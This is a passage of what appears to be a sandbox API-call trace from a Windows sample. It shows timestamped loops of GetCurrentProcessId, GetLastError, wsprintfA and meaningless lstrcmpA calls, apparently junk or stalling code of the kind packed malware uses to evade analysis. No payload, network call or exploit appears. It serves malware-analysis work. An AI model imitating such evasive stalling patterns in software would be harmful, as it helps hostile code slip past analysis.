returned 0xffffffff [0041.702] GetLastError () returned 0x57 [0041.702] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3BE7P") returned 5 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetLastError () returned 0x57 [0041.702] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3BE8P") returned 5 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] lstrlenA (lpString="just string") returned 11 [0041.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.702] GetLastError () returned 0x57 [0041.702] GetCurrentProcess () returned 0xffffffff [0041.702] GetLastError () returned 0x57 [0041.702] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3C2DP") returned 5 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetLastError () returned 0x57 [0041.702] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3C2EP") returned 5 [0041.702] SetLastError (dwErrCode=0x57) [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] lstrlenA (lpString="just string") returned 11 [0041.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.702] GetLastError () returned 0x57 [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] GetCurrentProcessId () returned 0x81c [0041.702] lstrlenA (lpString="just string") returned 11 [0041.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.703] GetLastError () returned 0x57 [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] lstrlenA (lpString="just string") returned 11 [0041.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.703] GetLastError () returned 0x57 [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] lstrlenA (lpString="just string") returned 11 [0041.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.703] GetLastError () returned 0x57 [0041.703] GetLastError () returned 0x57 [0041.703] GetLastError () returned 0x57 [0041.703] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.703] SetLastError (dwErrCode=0x57) [0041.703] GetCurrentProcess () returned 0xffffffff [0041.703] GetLastError () returned 0x57 [0041.703] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3D1CP") returned 5 [0041.703] SetLastError (dwErrCode=0x57) [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcess () returned 0xffffffff [0041.703] GetLastError () returned 0x57 [0041.703] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3D1DP") returned 5 [0041.703] SetLastError (dwErrCode=0x57) [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetLastError () returned 0x57 [0041.703] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3D1EP") returned 5 [0041.703] SetLastError (dwErrCode=0x57) [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] lstrlenA (lpString="just string") returned 11 [0041.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.703] GetLastError () returned 0x57 [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] lstrlenA (lpString="just string") returned 11 [0041.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.703] GetLastError () returned 0x57 [0041.703] GetLastError () returned 0x57 [0041.703] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3D64P") returned 5 [0041.703] SetLastError (dwErrCode=0x57) [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] lstrlenA (lpString="just string") returned 11 [0041.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.703] GetLastError () returned 0x57 [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] lstrlenA (lpString="just string") returned 11 [0041.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.703] GetLastError () returned 0x57 [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] GetCurrentProcessId () returned 0x81c [0041.703] lstrlenA (lpString="just string") returned 11 [0041.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.704] GetLastError () returned 0x57 [0041.704] GetLastError () returned 0x57 [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] lstrlenA (lpString="just string") returned 11 [0041.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.704] GetLastError () returned 0x57 [0041.704] GetLastError () returned 0x57 [0041.704] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.704] SetLastError (dwErrCode=0x57) [0041.704] GetCurrentProcess () returned 0xffffffff [0041.704] GetLastError () returned 0x57 [0041.704] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3E34P") returned 5 [0041.704] SetLastError (dwErrCode=0x57) [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetCurrentProcess () returned 0xffffffff [0041.704] GetLastError () returned 0x57 [0041.704] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3E35P") returned 5 [0041.704] SetLastError (dwErrCode=0x57) [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetLastError () returned 0x57 [0041.704] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3E36P") returned 5 [0041.704] SetLastError (dwErrCode=0x57) [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] lstrlenA (lpString="just string") returned 11 [0041.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.704] GetLastError () returned 0x57 [0041.704] GetCurrentProcess () returned 0xffffffff [0041.704] GetLastError () returned 0x57 [0041.704] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3E5DP") returned 5 [0041.704] SetLastError (dwErrCode=0x57) [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetLastError () returned 0x57 [0041.704] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3E5EP") returned 5 [0041.704] SetLastError (dwErrCode=0x57) [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] lstrlenA (lpString="just string") returned 11 [0041.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.704] GetLastError () returned 0x57 [0041.704] lstrlenA (lpString="just string") returned 11 [0041.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.704] GetLastError () returned 0x57 [0041.704] GetLastError () returned 0x57 [0041.704] GetCurrentProcessId () returned 0x81c [0041.704] lstrlenA (lpString="just string") returned 11 [0041.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.704] GetLastError () returned 0x57 [0041.704] GetLastError () returned 0x57 [0041.704] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.704] SetLastError (dwErrCode=0x57) [0041.704] GetCurrentProcess () returned 0xffffffff [0041.705] GetLastError () returned 0x57 [0041.705] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3F2EP") returned 5 [0041.705] SetLastError (dwErrCode=0x57) [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcess () returned 0xffffffff [0041.705] GetLastError () returned 0x57 [0041.705] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3F2FP") returned 5 [0041.705] SetLastError (dwErrCode=0x57) [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetLastError () returned 0x57 [0041.705] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3F30P") returned 5 [0041.705] SetLastError (dwErrCode=0x57) [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] lstrlenA (lpString="just string") returned 11 [0041.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.705] GetLastError () returned 0x57 [0041.705] lstrlenA (lpString="just string") returned 11 [0041.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.705] GetLastError () returned 0x57 [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] lstrlenA (lpString="just string") returned 11 [0041.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.705] GetLastError () returned 0x57 [0041.705] GetLastError () returned 0x57 [0041.705] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3FB2P") returned 5 [0041.705] SetLastError (dwErrCode=0x57) [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] lstrlenA (lpString="just string") returned 11 [0041.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.705] GetLastError () returned 0x57 [0041.705] GetLastError () returned 0x57 [0041.705] GetCurrentProcess () returned 0xffffffff [0041.705] GetLastError () returned 0x57 [0041.705] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3FF7P") returned 5 [0041.705] SetLastError (dwErrCode=0x57) [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetLastError () returned 0x57 [0041.705] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="3FF8P") returned 5 [0041.705] SetLastError (dwErrCode=0x57) [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] lstrlenA (lpString="just string") returned 11 [0041.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.705] GetLastError () returned 0x57 [0041.705] GetLastError () returned 0x57 [0041.705] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="400CP") returned 5 [0041.705] SetLastError (dwErrCode=0x57) [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] GetCurrentProcessId () returned 0x81c [0041.705] lstrlenA (lpString="just string") returned 11 [0041.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.705] GetLastError () returned 0x57 [0041.705] GetLastError () returned 0x57 [0041.705] lstrlenA (lpString="just string") returned 11 [0041.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.706] GetLastError () returned 0x57 [0041.706] GetCurrentProcess () returned 0xffffffff [0041.706] GetLastError () returned 0x57 [0041.706] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="405BP") returned 5 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetLastError () returned 0x57 [0041.706] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="405CP") returned 5 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] lstrlenA (lpString="just string") returned 11 [0041.706] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.706] GetLastError () returned 0x57 [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] lstrlenA (lpString="just string") returned 11 [0041.706] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.706] GetLastError () returned 0x57 [0041.706] GetLastError () returned 0x57 [0041.706] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcess () returned 0xffffffff [0041.706] GetLastError () returned 0x57 [0041.706] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="40BEP") returned 5 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcess () returned 0xffffffff [0041.706] GetLastError () returned 0x57 [0041.706] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="40BFP") returned 5 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetLastError () returned 0x57 [0041.706] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="40C0P") returned 5 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] lstrlenA (lpString="just string") returned 11 [0041.706] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.706] GetLastError () returned 0x57 [0041.706] GetLastError () returned 0x57 [0041.706] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcess () returned 0xffffffff [0041.706] GetLastError () returned 0x57 [0041.706] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="40DCP") returned 5 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetCurrentProcess () returned 0xffffffff [0041.706] GetLastError () returned 0x57 [0041.706] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="40DDP") returned 5 [0041.706] SetLastError (dwErrCode=0x57) [0041.706] GetCurrentProcessId () returned 0x81c [0041.706] GetLastError () returned 0x57 [0041.707] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="40DEP") returned 5 [0041.707] SetLastError (dwErrCode=0x57) [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] lstrlenA (lpString="just string") returned 11 [0041.707] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.707] GetLastError () returned 0x57 [0041.707] lstrlenA (lpString="just string") returned 11 [0041.707] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.707] GetLastError () returned 0x57 [0041.707] GetLastError () returned 0x57 [0041.707] GetLastError () returned 0x57 [0041.707] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.707] SetLastError (dwErrCode=0x57) [0041.707] GetCurrentProcess () returned 0xffffffff [0041.707] GetLastError () returned 0x57 [0041.707] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4136P") returned 5 [0041.707] SetLastError (dwErrCode=0x57) [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcess () returned 0xffffffff [0041.707] GetLastError () returned 0x57 [0041.707] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4137P") returned 5 [0041.707] SetLastError (dwErrCode=0x57) [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetLastError () returned 0x57 [0041.707] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4138P") returned 5 [0041.707] SetLastError (dwErrCode=0x57) [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] lstrlenA (lpString="just string") returned 11 [0041.707] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.707] GetLastError () returned 0x57 [0041.707] GetCurrentProcess () returned 0xffffffff [0041.707] GetLastError () returned 0x57 [0041.707] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="414BP") returned 5 [0041.707] SetLastError (dwErrCode=0x57) [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetLastError () returned 0x57 [0041.707] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="414CP") returned 5 [0041.707] SetLastError (dwErrCode=0x57) [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] lstrlenA (lpString="just string") returned 11 [0041.707] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.707] GetLastError () returned 0x57 [0041.707] GetLastError () returned 0x57 [0041.707] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4188P") returned 5 [0041.707] SetLastError (dwErrCode=0x57) [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] GetCurrentProcessId () returned 0x81c [0041.707] lstrlenA (lpString="just string") returned 11 [0041.707] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.707] GetLastError () returned 0x57 [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] lstrlenA (lpString="just string") returned 11 [0041.708] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.708] GetLastError () returned 0x57 [0041.708] GetLastError () returned 0x57 [0041.708] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="41C4P") returned 5 [0041.708] SetLastError (dwErrCode=0x57) [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] lstrlenA (lpString="just string") returned 11 [0041.708] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.708] GetLastError () returned 0x57 [0041.708] lstrlenA (lpString="just string") returned 11 [0041.708] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.708] GetLastError () returned 0x57 [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] lstrlenA (lpString="just string") returned 11 [0041.708] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.708] GetLastError () returned 0x57 [0041.708] GetLastError () returned 0x57 [0041.708] GetLastError () returned 0x57 [0041.708] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.708] SetLastError (dwErrCode=0x57) [0041.708] GetCurrentProcess () returned 0xffffffff [0041.708] GetLastError () returned 0x57 [0041.708] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="426CP") returned 5 [0041.708] SetLastError (dwErrCode=0x57) [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcess () returned 0xffffffff [0041.708] GetLastError () returned 0x57 [0041.708] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="426DP") returned 5 [0041.708] SetLastError (dwErrCode=0x57) [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetLastError () returned 0x57 [0041.708] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="426EP") returned 5 [0041.708] SetLastError (dwErrCode=0x57) [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] lstrlenA (lpString="just string") returned 11 [0041.708] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.708] GetLastError () returned 0x57 [0041.708] GetLastError () returned 0x57 [0041.708] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.708] SetLastError (dwErrCode=0x57) [0041.708] GetCurrentProcess () returned 0xffffffff [0041.708] GetLastError () returned 0x57 [0041.708] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="42A8P") returned 5 [0041.708] SetLastError (dwErrCode=0x57) [0041.708] GetCurrentProcessId () returned 0x81c [0041.708] GetCurrentProcess () returned 0xffffffff [0041.708] GetLastError () returned 0x57 [0041.708] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="42A9P") returned 5 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetLastError () returned 0x57 [0041.709] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="42AAP") returned 5 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] lstrlenA (lpString="just string") returned 11 [0041.709] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.709] GetLastError () returned 0x57 [0041.709] GetLastError () returned 0x57 [0041.709] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcess () returned 0xffffffff [0041.709] GetLastError () returned 0x57 [0041.709] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="42E4P") returned 5 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetCurrentProcess () returned 0xffffffff [0041.709] GetLastError () returned 0x57 [0041.709] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="42E5P") returned 5 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetLastError () returned 0x57 [0041.709] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="42E6P") returned 5 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] lstrlenA (lpString="just string") returned 11 [0041.709] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.709] GetLastError () returned 0x57 [0041.709] GetLastError () returned 0x57 [0041.709] GetLastError () returned 0x57 [0041.709] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcess () returned 0xffffffff [0041.709] GetLastError () returned 0x57 [0041.709] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="430CP") returned 5 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetCurrentProcess () returned 0xffffffff [0041.709] GetLastError () returned 0x57 [0041.709] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="430DP") returned 5 [0041.709] SetLastError (dwErrCode=0x57) [0041.709] GetCurrentProcessId () returned 0x81c [0041.709] GetLastError () returned 0x57 [0041.709] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="430EP") returned 5 [0041.709] SetLastError (dwErrCode=0x57) [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] lstrlenA (lpString="just string") returned 11 [0041.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.710] GetLastError () returned 0x57 [0041.710] GetLastError () returned 0x57 [0041.710] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.710] SetLastError (dwErrCode=0x57) [0041.710] GetCurrentProcess () returned 0xffffffff [0041.710] GetLastError () returned 0x57 [0041.710] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4334P") returned 5 [0041.710] SetLastError (dwErrCode=0x57) [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcess () returned 0xffffffff [0041.710] GetLastError () returned 0x57 [0041.710] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4335P") returned 5 [0041.710] SetLastError (dwErrCode=0x57) [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetLastError () returned 0x57 [0041.710] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4336P") returned 5 [0041.710] SetLastError (dwErrCode=0x57) [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] lstrlenA (lpString="just string") returned 11 [0041.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.710] GetLastError () returned 0x57 [0041.710] GetLastError () returned 0x57 [0041.710] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="435EP") returned 5 [0041.710] SetLastError (dwErrCode=0x57) [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] lstrlenA (lpString="just string") returned 11 [0041.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.710] GetLastError () returned 0x57 [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] lstrlenA (lpString="just string") returned 11 [0041.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.710] GetLastError () returned 0x57 [0041.710] GetCurrentProcess () returned 0xffffffff [0041.710] GetLastError () returned 0x57 [0041.710] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="43ADP") returned 5 [0041.710] SetLastError (dwErrCode=0x57) [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetLastError () returned 0x57 [0041.710] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="43AEP") returned 5 [0041.710] SetLastError (dwErrCode=0x57) [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] GetCurrentProcessId () returned 0x81c [0041.710] lstrlenA (lpString="just string") returned 11 [0041.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.710] GetLastError () returned 0x57 [0041.710] lstrlenA (lpString="just string") returned 11 [0041.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.711] GetLastError () returned 0x57 [0041.711] GetLastError () returned 0x57 [0041.711] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="441CP") returned 5 [0041.711] SetLastError (dwErrCode=0x57) [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] lstrlenA (lpString="just string") returned 11 [0041.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.711] GetLastError () returned 0x57 [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] lstrlenA (lpString="just string") returned 11 [0041.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.711] GetLastError () returned 0x57 [0041.711] GetCurrentProcess () returned 0xffffffff [0041.711] GetLastError () returned 0x57 [0041.711] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4439P") returned 5 [0041.711] SetLastError (dwErrCode=0x57) [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetLastError () returned 0x57 [0041.711] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="443AP") returned 5 [0041.711] SetLastError (dwErrCode=0x57) [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] lstrlenA (lpString="just string") returned 11 [0041.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.711] GetLastError () returned 0x57 [0041.711] GetLastError () returned 0x57 [0041.711] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.711] SetLastError (dwErrCode=0x57) [0041.711] GetCurrentProcess () returned 0xffffffff [0041.711] GetLastError () returned 0x57 [0041.711] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="447EP") returned 5 [0041.711] SetLastError (dwErrCode=0x57) [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcess () returned 0xffffffff [0041.711] GetLastError () returned 0x57 [0041.711] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="447FP") returned 5 [0041.711] SetLastError (dwErrCode=0x57) [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetLastError () returned 0x57 [0041.711] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4480P") returned 5 [0041.711] SetLastError (dwErrCode=0x57) [0041.711] 